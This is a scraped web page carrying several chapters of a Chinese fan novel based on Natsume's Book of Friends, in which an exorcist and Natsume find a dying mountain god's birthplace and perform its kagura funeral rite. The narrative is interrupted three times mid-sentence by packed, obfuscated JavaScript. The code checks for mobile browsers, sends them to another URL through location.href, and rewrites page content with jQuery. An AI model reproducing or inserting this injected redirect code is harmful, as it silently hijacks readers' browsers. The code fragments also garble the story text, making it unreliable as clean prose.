朔也觉得夏目比上次见面更结实了一些,原本苍白的皮肤也多了些血色。 “西村和北本、啊,就是我在学校的朋友,经常拉着我去钓鱼、露营、爬山什么的,很耗体力,吃得也变多了,所以……”夏目挠了挠后脑勺,有些羞涩地说道:“滋叔叔说我长高了不少。” 朔也顿时笑起来,“看来这个暑假过得很不错嘛!” 接着他瞥了一眼夏目脚边的“煤气罐”一眼,吐槽道:“这丑猫每天跟着你,运动量应该也不少吧?怎么胖成这样了!” “臭小鬼!哪里胖了?!这是本大爷的毛!蓬松飘逸的毛!” “啧!胖得毛都炸开了。” 猫咪老师气得原地跳脚,让过分圆润的身躯呈现出Duang~Duang的滑稽效果。 朔也和夏目对视一眼,两人都心照不宣地偷笑起来。 就在猫咪老师只差原地打滚以示不满的时候,一旁的森林里突然窜出两个身影。 “夏目大人~” “夏目大人!” 朔也看着两个妖怪径直走到夏目跟前打招呼,微微眯起眼睛,上下打量它们。 夏目尴尬地看了看朔也,和独眼、牛头两个中级妖怪打过招呼,而后介绍道:“中级,这是我的朋友朔也,呃,他是除妖师,能看见你们。” 中级们被吓了一跳。 “除妖师?” “除妖师!” 朔也看着它们,淡漠地说道:“只要你们不骚扰人类,我对你们没兴趣。” 两个中级对视一秒,很有默契地一同讪笑道:“夏目大人,我们先走了!” “站住。” 朔也冷淡的命令让中级们下意识地停在原地。 “你们不是找夏目有事吗?” 说着,朔也看向夏目,狡黠地眨了眨眼睛。 “夏目,我在前面等你。” 他刚刚不过是故意在吓唬两个妖怪罢了。 夏目忍笑点了点头。 * 夏目和两个妖怪聊了几句,没过一会儿妖怪们就离开了。 在朔也好奇的目光里,夏目笑道:“是关于丰野神的事,三筱找到了一个曾经见过丰野神的妖怪,问我要不要去看看。” 朔也顿时来了兴趣,“我可以和你一起去吗?” 这当然不是什么让人为难的要求。 于是,几刻钟之后,朔也在废弃的小神社附近,见到了名为“三筱”的大妖。 实际上,这里似乎像是妖怪们的聚集地,除了“三筱”和之前刚刚见过的两个中级外,还有很多其他妖怪在这里。 繁杂又浓郁的妖气让朔也本能地绷紧了神经,但他看得出来,夏目和这些妖怪非常熟悉,甚至可以说是亲近。 身为除妖师,朔也很难想象这种场景,所以当这不可思议地一幕出现在眼前时,他感觉像是终于看到了夏目的另一面。 除妖师是站在人类和妖怪中间的人,夏目同样也是如此,但和除妖师主张的“隔绝”不同,对人和妖怪抱有同样理解和情感的夏目,更像是人类和妖怪之间的“连接”。 不过和“隔绝”相比,“连接”会更辛苦吧,这样的事情,或许只有夏目才能做到…… “既然是夏目阁下的朋友,就算是除妖师,也是我三筱的客人。”听过夏目的介绍之后,大妖盯着朔也如此说道。 “多谢了。”朔也微微颔首,解释道:“丰野神是守护这片‘豐埜之丘’的山神,但祂即将消亡,我是为了祂的遗愿才来到这里的。” “诶?消亡?!” 一旁的夏目比妖怪们都吃惊,他现在已经对妖怪和神明有些了解,自然也知道神明的消亡是极为罕见的事情。 “‘豐埜之丘’是什么?”有小妖怪窃窃私语。 和这些小妖怪相比,曾被人类祭祀过的三筱显然更了解一些。 “‘豐埜之丘’就是此处,我等与无数生灵所在之地。” 妖怪们安静了一瞬,接着纷纷发出惊呼,它们在这里生活了这么久,却从未听说过丰野神。 “丰野神大人是这片土地的主人,祂的命令我等自须遵从。”三筱看向朔也,说道:“除妖师,说出你的来意吧。” 朔也掏出一张符纸,不过上面画的不是符咒,而是他那天在梦里见到的地方。 “丰野神嘱咐我将祂的遗留之物带回来时之处,我正在寻找这个地方。” 那幅画被猫咪老师拿到了妖怪群里,在妖怪之间流传。 突然一个声音惊呼道:“啊,就是这里!我就是在这里见到丰野神大人的!” 这是一个作修行者打扮的妖怪,看似和斗笠一样的头上长着三只眼睛,此刻它正举着手里的画,三只眼睛都瞪得圆圆的。 “我那时很弱小,有一次找不到吃的,晕倒在这个小祠边,是路过的丰野神大人救了我!” 朔也赶紧问道:“那这个地方在哪里?” 妖怪眨了眨眼睛,“呃,忘记了……” 对于妖怪们的不靠谱,朔也向来是不意外的,倒是旁边的其他妖怪比他更着急。 “这么重要的事情,怎么可能忘记!” “就是!你再想想!” “对,再想想!” “要不你再饿一次吧,也许就想起来了!” “是啊是啊,再饿一次!” “……” 朔也心想,果然是妖怪能想出来的办法。 “除妖师,这件事就交给八原的妖怪吧。”三筱承诺道:“我们会找到丰野神大人的来时之处的。” 朔也弯起嘴角,“那就有劳了。” 他本就想找夏目帮忙,没想到正好碰见夏目的妖怪朋友们,拜托帮忙的事情很顺利地就达成了。 * 一告别妖怪们,夏目就迫不及待地问出憋在心里的问题:“朔也,丰野神为什么会消亡?” “这片土地变化太大了,人类占据了大部分地方,又不像曾经的祖辈们那样对自然心存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938214|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬畏,山神的力量大概会因此流失吧。” “这样么……”夏目微皱着眉,有些低落,“没有别的办法了吗?” 夏目的反应和之前的朔也一样,但总有些事情是人类无法做到的。 朔也转而和夏目说起葬仪的事情。 神明的葬仪别说是夏目,就连猫咪老师也没见过,乍一听说都很好奇。 朔也讲了下目前的葬仪安排,最后总结道:“所以,现在就差一个和我一起跳神楽舞的人了!” 猫咪老师顿时意味深长地瞥了朔也一眼,但没吭声,而是默默看向夏目。 夏目刚开始还没反应过来,心里还想着,朔也竟然连神楽舞都会,也太厉害了吧。 直到周围安静了好一会儿,回过神的夏目看向身旁的一人一猫。 人的眼里是满满的期待,“猫”的眼神则怎么看都是在看好戏。 夏目愣住,回想了一下“前情提要”,慢慢瞪大眼睛,不可置信地抬手指向自己。 “我?” “嗯~嗯!”X2 一人一猫难得默契十足地同步点了点头。 “哈?!” 夏目的表情瞬间失控,慌乱地直摆手。 “怎么可能?我不行!绝对不行!” 那可是神明的葬仪,让什么都不懂的他上去跳舞,神明真的能安息吗?! “月见神社的神主说,像夏目这样纯净又强大的少年来献舞,神明一定会很愉悦的!”朔也笑眯眯地说道。 “什么啊!”夏目的头脑前所未有地灵光起来,反驳道:“那位神主根本没有见过我,怎么可能说出这种话!” 朔也面色不改,“但夏目你就是纯净又强大的少年啊!” 说着他看向一旁看好戏的丑猫,“这一点,想必妖怪们也不会质疑吧?” 虽然猫咪老师一直和朔也吵吵闹闹,但这次反而勉强配合起来。 它瞅了朔也一眼,哼了一声,才看向夏目慢条斯理地说道:“虽然我不想赞同这个小鬼,但他确实没说错。而且,能为神明献上神楽可是一件好事。” 朔也顿时更理直气壮起来,“看吧!连你家的保镖都这么说。” 夏目依然觉得荒谬,“我从来没做过这种事!神楽舞什么的,更是完全不懂!” “其实不难哦,夏目应该很快就可以学会。”朔也马上搬出了场静司之前的说辞。 “朔也你会跳当然觉得不难!” 夏目满头黑线地摊开双手,“你看我像是会跳任何舞蹈的样子吗?” “啊,我也不会跳哦。”朔也跟着摊开了双手。 “诶?”夏目怀疑地看着朔也。 朔也笑道:“所以静司先生会请神职人员来教我们。” 夏目这时才真的回过味来,“你不会是因为不想一个人跳才拉上我的吧?” 朔也露出无辜的笑容。 “我只是觉得两个人的神楽会更热闹一些啦~” 夏目会信这种话才怪,但看着朔也眼里的期待,他最终只能无奈地叹了口气。 “好吧……” “嘿嘿~谢谢夏目~” 一旁的猫咪老师竟也跟着雀跃起来,怪腔怪调地唱着,“神~楽~神~楽~” “喂!你们!别太得意啊!” 夏目虽然嘴上这么抗议着,但看着一直不对付的一人一猫难得其乐融融地走在一起,又忍不住偷偷笑起来。 59.第五十九章 的场 * 朔也曾想邀请夏目到的场本宅来玩,但没过多久就打消了念头,飒真过来这里尚且觉得不自在,对夏目来说应该更不是什么让人放松的地方。 但因为要学神楽舞的关系,夏目不得不到的场本家住上一周,和朔也一起参加“神楽舞速成班”。 值得一提的是,因为准备神明葬仪的事情非常郑重,的场静司作为朔也的监护人亲自拜访了藤原家,以便让藤原夫妇放心。 朔也自然也去了,还因为夏目被亲切温和的的场静司惊到露出“见鬼了”的表情而偷笑了许久。 “夏目,这是你的房间,距离我的房间不远。”朔也拉开门,玩笑道:“请不要拘束,别的我不敢保证,但这里至少不会有妖怪半夜来敲你的窗户。” 猫咪老师顿时从包里一跃而出,跳进房间开始视察。 没错,它以贴身保镖的名义死皮赖脸地跟来了。 试问,哪个正常的男子高中生会在去朋友家小住的时候还得带着自家的猫啊? 天知道夏目和藤原夫妇解释自己的奇怪行为时有多为难。 “其实本打算让你和我一起住的,但丑猫在的话,八咫大概会吵到我耳聋,只能算了。” “八咫?”夏目好奇,“是那只渡鸦吗?” “是啊,要去我房间看看吗?它现在应该在那里。” “好啊!”夏目赶紧点头。 在所有朋友当中,夏目只见过田沼的卧室,而朔也的房间显然是另一个风格。 虽然房间整体有着的场一门一贯示人的沉郁格调,但朔也存在的痕迹让这个精致到冰冷的房间活跃起来。 无论是四处摆放着的书和各种奇怪的除妖术具,还是随手放在电视机旁的游戏盘,亦或是墙上挂着的相框和画框,书桌上摊开的练习册……都显出一种独属于朔也的气息。 “好厉害……”夏目站在画着朔也半身像的油画前,情不自禁地感叹道。 朔也挠了挠脸颊,有点不好意思,索性转头叫道:“八咫。” “嘎!” 夏目顺着鸣叫声看过去,只见一只白色的大鸟从吊在窗边的竹茧一般的鸟巢里飞了出来。 “这是我的朋友夏目。” 在朔也一本正经地介绍里,站在朔也肩上的八咫盯着夏目看了一会儿,短促地叫了一声。 “咦?它能听懂吗?”夏目很惊讶。 朔也笑着点点头,“嗯,渡鸦很聪明,智商和小孩子差不多,只要它愿意,主人的话它基本都能听懂。” “只要它愿意?” “啊,如果它不想懂的话,就会假装没听见。”朔也无奈地笑道:“比如做了坏事之后。” “嘎!” 八咫转头啄了一下朔也的头发。 朔也冲夏目做了一个“你看”的表情。 夏目噗嗤一声笑了出来,接着看向八咫认真地说道:“你好,我是夏目,初次见面,请多关照。” “嘎!” 八咫似乎很高兴,不过当它的视线顺着“哒、哒、哒”的声响看向夏目身后的榻榻米,顿时大力拍了拍翅膀,像警报器一般鸣叫起来。 “喂,白乌鸦,你太吵了!” 发出“哒、哒、哒”声响的罪魁祸首不满地叫嚣道。 朔也掏了掏被八咫震得发聋的耳朵,一把捏住八咫的喙。 “好了好了,这个丑猫只会待几天,你可以当做没看见。” 说着朔也走到窗边,把八咫抱出窗外,“去找胖啾玩吧!” 八咫不满地嘎了几声,最后还是飞走了。 “不要紧吗?”夏目担心地问道。 朔也随意地摆了摆手,“没关系,它在后山有很多朋友,有时候几天都不回家。” 夏目放心了些,又觉出几分新奇。 虽然猫咪老师一直以猫的形态待在藤原家,但对夏目来说它当然不是宠物。 实际上,无论是在原来那些借住的家庭里,还是其他朋友们的家里,都没有养宠物。 朔也是夏目认识的人中,唯一一个养宠物的人,而这只宠物还是一只聪明又罕见的白色渡鸦,看上去很有趣也很可爱,这对夏目来说是非常难得的体验。 朔也感知到夏目的小小艳羡,不禁得意地笑道:“怎么样?要不你也考虑养只真的宠物吧,看丑猫久了还能看可爱的动物养养眼睛。” “喂!臭小鬼!别以为在你的地盘我就不敢揍你!” “是吗?”朔也瞥了猫咪老师一眼,提醒道:“但是你现在正踩在我画的封印符阵上哦。” 猫咪老师低头,果然,它的四个猫爪正好踩在一张不知何时掉到地上的符阵中央。 下一秒,圆润敦实的猫身直接炸毛,猫咪老师猛地窜起蹦到了桌上。 “阴谋!这都是除妖师的阴谋!一定是想利用夏目那家伙把本大爷诱骗来这里然后封印起来!的场的家伙们真的太阴险狡诈了……” 朔也不去管猫咪老师气愤地碎碎念,转而看向夏目,关心地问道:“夏目,你的暑假作业做完了吗?” “啊?” 夏目先是疑惑,而后是慢慢升起的心虚,最后遮遮掩掩地说道:“呃,还剩自由研究……” “唔,那时间可有点紧呢。”朔也想了想,很快有了灵感,“要不你就研究神楽舞相关的民俗文化吧!正好我这里有许多资料,后面你还得参加实践呢,不正好是一个完整的自由研究吗?” “嗯,也是哦……”夏目点点头,认真考虑起来。 其实如果不是朔也提醒的话,他大概会忘掉这个作业直到开学前被作业痛击。 朔也真不愧是爱学习的优等生啊! 不过,仅仅一天之后,夏目就发现,原来作业不仅会在开学前痛击他,还会提前给他邦邦两拳。 被朔也戏称为“魔鬼速成班”的神楽舞学习彻底榨干了他的体力,而在□□被反复蹂躏之后,他还得翻看朔也热心准备的成堆资料,彻底榨干自己可怜的大脑。 而这样可怕的日子,他还得继续过上整整六天!!! 夏目坐在客房的矮桌前,整个人渐渐萎靡下去。 他看向一旁的垫子,猫咪老师正在那上面惬意地打着呼噜,今晚它可是钻进的场家的厨房骗吃骗喝了很久。 夏目顿时怒从心起,伸手堵住猫咪老师的鼻孔。 “啊、阿嚏……怎么了?发生了什么?我感觉要窒息了!” 夏目的心情好了一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943075|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他看着满桌的资料,叹了口气,哎,继续吧。 * 朔也和夏目平日里都是运动量足够的少年人,又都很聪明,还能吃苦,即便速成班的强度堪称魔鬼,他们俩依然互相打着气坚持了下来。 来教他们神楽舞的神职人员是一位初见时有些严肃的大叔,而随着时间过去,这位大叔对他俩越来越和蔼,看上去恨不得回去时能把两个人一起打包带走。 在他们挥洒汗水期间,大概是为了确定夏目在的场家一切安好,不太放心的名取周一还特意来探望过,不过他没围观多久就被七濑毫不客气地叫去帮忙了。 丰野神的葬仪有很多事情都是的场家在筹备,正是需要人手的时候。 在所有人都忙碌着的这几天里,过得最舒服的当然是可以蹭吃蹭喝还能被女仆们梳毛的猫咪老师。 好在莫名讨厌它的八咫会时不时带着一群鸟追着叼它的毛,这多少让朔也和夏目觉得心理平衡了点。 的场本家因为有一些同门常驻,日常的生活形式里有许多团体氛围,比如早上和傍晚,会有许多人一起到道场练习,餐点时的大餐厅会容纳许多人一起用餐,还配有可供很多人使用的沐浴汤池…… 虽然这些和的场首领一家的私人生活是区分开的,客人也有另外的安排,但这种氛围让夏目感到新鲜,他还从没有和这么多人在同一个地方一起生活过。 而的场本家也和夏目想象的很不一样,他原本以为这样的传统大家族会很严肃,但他在的这几天,大家都对他很亲切,就好像他和朔也是一样的,都是的场家需要关照的晚辈。 夏目想起朔也曾说过的,的场先生曾想将他接到的场家来。 如果他当时给朔也打了电话,此刻他应该已经是这样的的场家中的一员了吧。 这样的念头不过转瞬即逝,夏目的脑海里清晰浮现的是那个坐落在乡间小镇上的传统民宅。 它远没有的场家这么宏伟精致,但也很是宽敞,外观朴实得让人觉得格外踏实,还有着仿佛时刻散发着温暖的灯光。 每次回家,只要他一推开门,就能闻出婶婶做了什么样的美味,就连叔叔婶婶再寻常不过的交谈声都带着让人安心的力量,而他们见到他时不自觉展露的笑意就像温柔有力的拥抱,让他被名为“家”的爱意包裹…… “怎么了?”朔也看了看夏目久久未动的筷子,低声问道:“没有胃口吗?” “啊,不是。”夏目回过神,眼睛微微有点湿润,他吸了口气,有些难为情地说道:“只是突然想到叔叔和婶婶了……” 朔也微微一愣,而后反应过来,“原来是想家了啊,那等会儿给他们打个电话吧。” “诶?”夏目红了脸,“可是昨天婶婶刚打来过……” “又没人规定昨天打了电话今天就不能打了。”朔也忍不住笑了起来,“叔叔阿姨肯定非常想念你,说不定正在等你的电话呢。” 朔也拍了拍夏目的肩膀,命令道:“快点,好好吃饭!吃完就去打电话!” 夏目的羞赧和犹豫被朔也拍散了,他点点头,认真吃了起来。 这几天运动量太大,他和朔也看上去都瘦了一些,回去婶婶也许会担心,他还是努力多吃点吧。 60.第六十章 祭神 * 在这个格外漫长的暑假临近尾声的时候,丰野神的葬仪祭终于准备妥当。 三筱它们不负所托,找到了丰野神的“来时之处”。 让大家感到惊诧的是,这个地方并不在某个森林里,而在城市边缘一座几乎快被废弃的小公园后面。 那是一个连小丘都称不上的平缓山坡,夹在公园和绵延的山林之间,树木稀疏,荒草丛生。 山坡顶上,浅浅的溪水从凌乱的石块中缓缓流出,汇聚成一条细细的小溪,蜿蜒而下,流入公园里的小水塘。 溪水源头附近是一座坍塌的小祠,早已被风蚀得看不出原本的模样。 然而,能孕育出守护广袤土地的神灵,这里曾经一定有着极其丰沛的灵力。 但沧海桑田,原本灵力汇聚的地方,如今已变得如此萧瑟。 好在因为举办葬仪的缘故,坍塌的小祠被重新立起,连同整个山坡都被修整了一番,现在看上去至少是整齐洁净的。 丰野神遗留的装着未知之物的树叶小袋子被放进了小祠,小祠前搭起了祭坛和神楽舞台,其他的祭祀之物也都已备好,的场家的同门正来来去去做着最后的检查。 朔也和夏目已经换上白色的和服,祭祀用的礼服很讲究,不能随意弄脏弄乱,所以他们俩被七濑赶到山坡的另一边,一起无所事事地看着天空发呆。 此刻还不到早上五点,天际刚刚泛白,星星和弯月还挂在天上。 “看来今天会是个好天气。”看了一会儿,朔也说道。 “……嗯。”夏目仰着头,慢半拍地回应着,接着喃喃自语道:“我好紧张啊,朔也。” 朔也瞅了他发白的脸一眼,笑道:“没关系,就算你全部跳错都没问题哦。” “啊?” “我见过丰野神。”朔也回忆起那天的场景,“祂是一位很温柔的神明,我们在祂眼中应该是很小很小的生灵吧,就算跳错了神楽舞,祂应该也只会觉得有趣的。” “唔……”夏目顺着这个思路想了一会儿,竟然真的觉得没那么紧张了。 “不过,你跳错了的话,那只丑猫大概会嘲笑你很久吧。” 一句话正中靶心。 夏目满头黑线,“快别说了,我紧张得要吐了!” 朔也哈哈笑着四处张望了几眼,好奇问道:“丑猫呢?刚刚不是还跟着你吗?” 夏目看了一圈,“大概是觉得无聊,跑去其他地方了……最好等仪式结束再回来!” 两人又在原地待了一会儿,随着天际愈发明亮,原本寂静的山坡渐渐热闹起来,是参加葬仪的人陆续来了。 夏目参加过远亲的葬礼,那位远亲生前善于交际,交游广阔,所以他的葬礼上来了许多人,他当时借住的家庭里的阿姨非常羡慕,念叨了许久。 当然,不能将人类的葬礼和神明的葬仪作对比,但就参加的人数来说,今天过来参加丰野神葬仪的人已远超夏目的想象。 其实不只是夏目,朔也也非常惊诧,他记得之前预定邀请的只有本地一些神社的神主,人并不多。 月见清和的场静司正忙得抽不开身,朔也特意去问了一位同门,才知道丰野神葬仪的事情传出去之后,不仅有其他神社主动来参加,并非神道一脉的寺庙也有人过来,除此之外,就连本地的一些公职要员也过来了。 “这是一直守护着这片土地的神明的葬仪,大家都心怀敬意。”同门感叹道:“遗憾的是我们知晓得太迟了。” 夏目沉默了一会儿,看向朔也,“我好像没那么紧张了。” 朔也微笑起来,“嗯!” 他们要做的并不是表演,而是在神明彻底消亡之前,为祂献上诚挚的感激。 * 凌晨五点,葬仪开始。 神楽铃被摇响,月见清念诵祷文进行启神仪式,之后是修祓净化,然后为神明献上神馔。 在月见清将玉串献给丰野神之后,就到了神楽舞的仪式。 朔也和夏目慢慢走上舞台,站到相对的位置,两人对视一眼,微微颔首。 乐声响起,分别拿着神楽铃和扇子的两人一同抬手,清脆的铃音拖着悠长的余韵层层荡开,仿佛给周围的一切都剥去了一层无形的遮挡,拂晓的世界变得清晰又静谧。 伴随着稳定的节奏,铃音清悦、扇面流光,少年们不疾不徐的舞姿中带着一种近乎凝滞的力量感,牵引着人们的感官逐渐放缓,沉入一种奇妙的平静之中。 这样的感觉,身为舞者的朔也觉察得更为明晰。 他和夏目相对,错身而过时摇响神楽铃,夏目持扇的手从他身前划过,顺着跨出的舞步,朔也仿佛一步迈入了另一个世界。 舞台周围的人消失了,更准确地说,舞台周围的一切都消失了,仅剩舞台仿佛虚空中的孤岛,带着微光漂浮在黑夜之中。 在进行神楽舞的过程中,出现异象也是有可能的。 朔也没有停下,他转过身,正好与对面的夏目对视,很明显,夏目也和他一样,他冲夏目微微颔首,两人像一起训练时那样,心无旁骛地继续着舞蹈。 黑夜渐渐淡去,太阳升起,照亮一望无际的青绿丘原,群鸟从天空飞过,留下婉转的鸣叫。 舞台四周的光影不断变换,日升日落,四季流转,豐埜之丘曾经的模样在少年们的舞姿中重现,然后又在变化的节奏中被渐渐抹去,像是一场最后的余晖。 神楽舞进行过半,伴随着乐声和归于和缓的舞蹈,月见清念诵起最后的祷文。 「豐埜之丘,丰野之神,大地之守护。」 「我等今日聚于此处,迎接您归来。」 朔也手腕微动,铃音应和着祷文,共鸣出一种他从未听过的声音。 这个声音仿佛是从极远处传导过来的,平稳低沉,威严但柔和,既像初始的春雷,又像猛兽的低吟,绵延而至,最终化为心跳般的鼓动。 「豐埜之众,承蒙恩泽。」 「以山林予荫蔽。」 「以清泉予滋养。」 「以五谷予充盈。」 「仰赖神辉,照拂须臾生灵。」 舞动间隙,朔也微微抬头,他觉察到了一种难以言明的感觉,好像正被某种存在平静地注视着。 月见清的语调依然优雅庄重,但原本清晰的声音渐渐变得空灵缥缈。 「我等愚众,侵扰于豐埜。」 「为砍向山林之斧。」 「为填平川流之铲。」 「为射向生灵之箭。」 「为未曾铭记之过。」 「惶恐无地,非敢乞恕,惟力补过,伏惟尊鉴。」 伴随又一声铃音,夏目的手抬起又落下,手中两面分别涂抹着金箔和银箔的扇子从空中划过,带起细碎的莹光,仿若天河幻影,在少年的舞动中忽散忽聚,点缀出星空般的奇景。 「万物有时,回于归处。」 「缘结于此,谨释此契。」 随着与神明解除契约的祷词诵出,舞台四周的虚空瞬间消失,重新回到丰野神的祭坛之前。 此时天色已经大亮,太阳在天际处隐隐露出些许。 神楽舞临近尾声,在最后几个动作之前,朔也的视线扫过四周,内心愕然。 不知何时,这片山坡附近来了不少妖怪,它们远离人群,在另一边安静地聚集。 有些如三筱这样的大妖就匍匐在地,其他大大小小的妖怪或站在石头上,或攀在树上,有的则干脆飘在空中。 朔也从没见过这么多妖怪如即将百鬼夜行般聚在一起,虽然妖气浓郁繁杂,其中却无丝毫恶意,此刻它们像人类一样,虔心祭祀着神明。 他在夏目的眼中看到了同样的惊讶与欣慰,同是这片土地之上的生灵,妖怪和人类在丰野神的心中并无区别,这场祭祀,本就该如此。 「愿如初雪消融,晨露蒸腾,澄澈莹洁。」 朔也眨了眨眼睛,只觉得心神仿佛被什么洗过一般,从未有过的清新洁净。 他心有所感,摇响最后一声铃音,引导月见清念诵出最后一句祷文。 「丰野之神,归于豐埜,永息于四时之怀。」 尾音消散,旭日东升,灿烂和煦的晨辉瞬间洒满了山坡,一阵不知从何而来的风突然徐徐吹过。 朔也和夏目站在舞台上,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947723|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得有什么轻柔地拂过他们的头顶,跳完神楽舞之后的疲惫瞬间一扫而空,整个人似乎都轻盈起来。 而舞台下的人们,甚至是妖怪,也都感受到了这不同寻常的微风。 它就像来自母亲的抚摸,温柔地抚过每一个生灵。 这阵奇异的风从山坡吹向四周,山林中的树叶沙沙作响,动物舒服地抖了抖毛发,蝉翼上的露水被轻轻抹去…… 风也吹向了城市,它穿透钢筋水泥,穿透一切人为的阻隔,冲进封闭压抑的空间,执拗地抚过各种屏幕、文书和机器前的每一张脸…… 它吹过街道、公园、民居和地下室,还有那些无人在意的角落和缝隙,抹去眼角的湿润和眉间的褶皱…… 它像诞生之初一样,耐心地席卷整片丘原,然后满足地盘旋着,渐渐平息,不留一丝痕迹。 * 丰野神的葬仪祭祀非常圆满。 就祭祀本身而言,朔也和夏目是感触最深的人,他们能感知到祭祀的结果,丰野神已经回到了诞生的地方,一切都归于平静。 而在祭祀之外,后续的发展就更复杂一些。 那天祭祀时产生的异象让到场的人都有所察觉,举办神祭的的场一门也因此受到了关注,最近来的场家拜访的人尤其多,的场静司当然也跟着忙碌起来,偶尔连朔也也得过去帮忙。 之后没过多久,本地的政府突然决定将荒废的小公园进行重建,面积在原有占地上进行大范围的扩展,公园后的山坡因此被划入公园之中,据说不久后会修建起供奉丰野神的神社。 这样的事情背后也许有很多考量,但无论如何,「神明的终结不是消失,而是回归。」——正是基于这样的理解,人们希望能通过自己的信仰,让神明再次降临这片土地。 此外,飒真能听懂兽语的事情也终于解决了。 “虽然之前觉得很麻烦,但习惯了之后又感觉还不错。” 坐在朔也的房间里,飒真有些怅惘地说道:“现在失去了这样的能力,总有点失落呢。” 朔也悠闲地喝着茶,点评道:“过段时间就好了,你会再次习惯普通人的感觉的。” “啊——” 飒真发出百无聊赖的噪音,无精打采地抱怨道:“话是这么说没错,但现在就是很难受啊。” “唔。”朔也想了想,问道:“所以你最近不用去塾里吗?” 飒真的声音更有气无力了,“没几天都要开学了,这个时候他们还不放假我会死掉的。” “想开点啦。”朔也终于良心发现,安慰道:“就算那种能力消失,你对动物的感知也会比其他人更敏锐。” “诶?”飒真瞬间坐直了身体,“真的吗?” “你自己没发现吗?”朔也反问道。 飒真怔住,他仔细回想了一会儿,喃喃说道:“好像是真的哎,今早出门前有只猫来找我帮忙,我虽然没听懂它在说什么,但竟然能大致猜出它的意思……” 朔也微微笑了笑。 “啊!这样的话!我改报兽医学的事情是对的咯?”飒真兴奋地说道。 “兽医学?” 朔也惊讶地看向飒真。 “嗯。”飒真不好意思地挠了挠头发,解释道:“我最近有去家附近的宠物医院帮忙,救助那些动物虽然很辛苦,但看到它们恢复健康,真的会很开心……” “我从小就很喜欢各种小动物,自从能听懂它们说话后,就觉得更有意思了……如果我对动物有更敏锐的感知的话,一定能更好地帮助它们吧!” 飒真这样说着,眼里满是对未来的希冀。 朔也忍不住笑起来,“做最懂小动物的医生,感觉飒真以后会超酷的!” “嘿嘿~是吧!”飒真得意地眯起眼睛。 “不过我没记错的话,兽医学对偏差值的要求好像和医学差不多来着?” “朔也。” “嗯?” “可以别在这种时候提起这么可怕的话题吗?” “哈哈,抱歉~抱歉~” 在飒真的死鱼眼攻击中,朔也惬意地喝了口茶。 真是难得的悠闲呢。 61.第六十一章 帮忙 * 秋天来临,新的学期开始,朔也迅速收心,回到两点一线的男高生活。 在这样熟悉的生活里,变化也悄然发生着。 神祭后,除的场家之外,朔也同样引来不少关注,来的场家拜访的人时常主动提及他,对他很是好奇,这也是近段时间他常常需要跟着的场静司一起待客的原因。 虽然很多人早已听说过的场家的养子,但也难免怀疑那不过是的场一门壮大声势的手段,直到亲眼目的这次祭祀的异象,他们才确定这个养子确实天赋不凡。 传言被证实,这件事竟在业内掀起一股“寻找有才能的继承人”的风潮,担心后继无人的除妖师家族开始热衷寻找像朔也这样的孩子。 不知他们是否会得偿所愿,但伴随这股风潮而来的浮躁氛围已经引起了不少麻烦,也让一些心怀不轨的家伙有机可乘。 所以,朔也在回家路上看到佐野先生时,就猜测对方大概是来的场本家一起商议近期频发的除妖师遇袭事件的。 他让司机慢下来,放下车窗。 “佐野先生,是要去本宅吗?” 佐野先生转头看向他,脸上带着笑意,“啊,是铃木君啊,我正要过去那边。” “那请上车吧!”朔也顺势邀请道。 因为之前合作过数次的关系,两人已经熟识,佐野先生便没有客气,爽快答应。 在男人打开后座车门要上车的时候,朔也忍不住多看了他两眼,不知道为什么,他从佐野先生身上感到了些微怪异。 “佐野先生,最近还好吗?” 借着寒暄的机会,朔也转头不动声色地打量了一番。 佐野先生看上去和以往没什么区别,只是脸色显得有点苍白。 他依旧和煦地微笑着,“委托都很顺利,倒是业内人心浮动,让人有些不安。” 朔也点点头,“七濑阿姨也这么说。” “啊,说起来,最近有许多人向我打听铃木君的事情。”佐野先生感叹道:“的场一门的好运气可是让不少人眼红。” 这样的感叹本是人之常情,但从佐野先生嘴里说出来就显出一丝违和感。 毕竟他自己就是的场一门的人,并和朔也熟识,以他的立场和性格,应该是不会当着朔也的面说出如此随意的话的。 原本忽略了之前那点异样的朔也又在意起来,他再次转头看向佐野先生,好奇地问道:“那些人想打听些什么呢?” 佐野先生微笑道:“他们很想了解你的经历,更想知道……” 话说到一半,佐野先生仿佛察觉自己快失言一般停了下来,他看了看前面的司机,而后冲朔也小声说道:“后面的话实在很过分,惹人不快,不说也罢。” 话只说一半,向来是引人好奇的绝妙办法,如果朔也是寻常的少年人,大概会顺势追问下去。 但此刻的朔也根本无暇关心佐野先生说了什么又没说什么,他的视线紧紧地盯着对方的脸。 那张自两人碰面后、表情就没有变过的面孔,越看越像是一张贴在男人脸上的面具,即便看似十分贴合,却总有种诡异的僵硬。 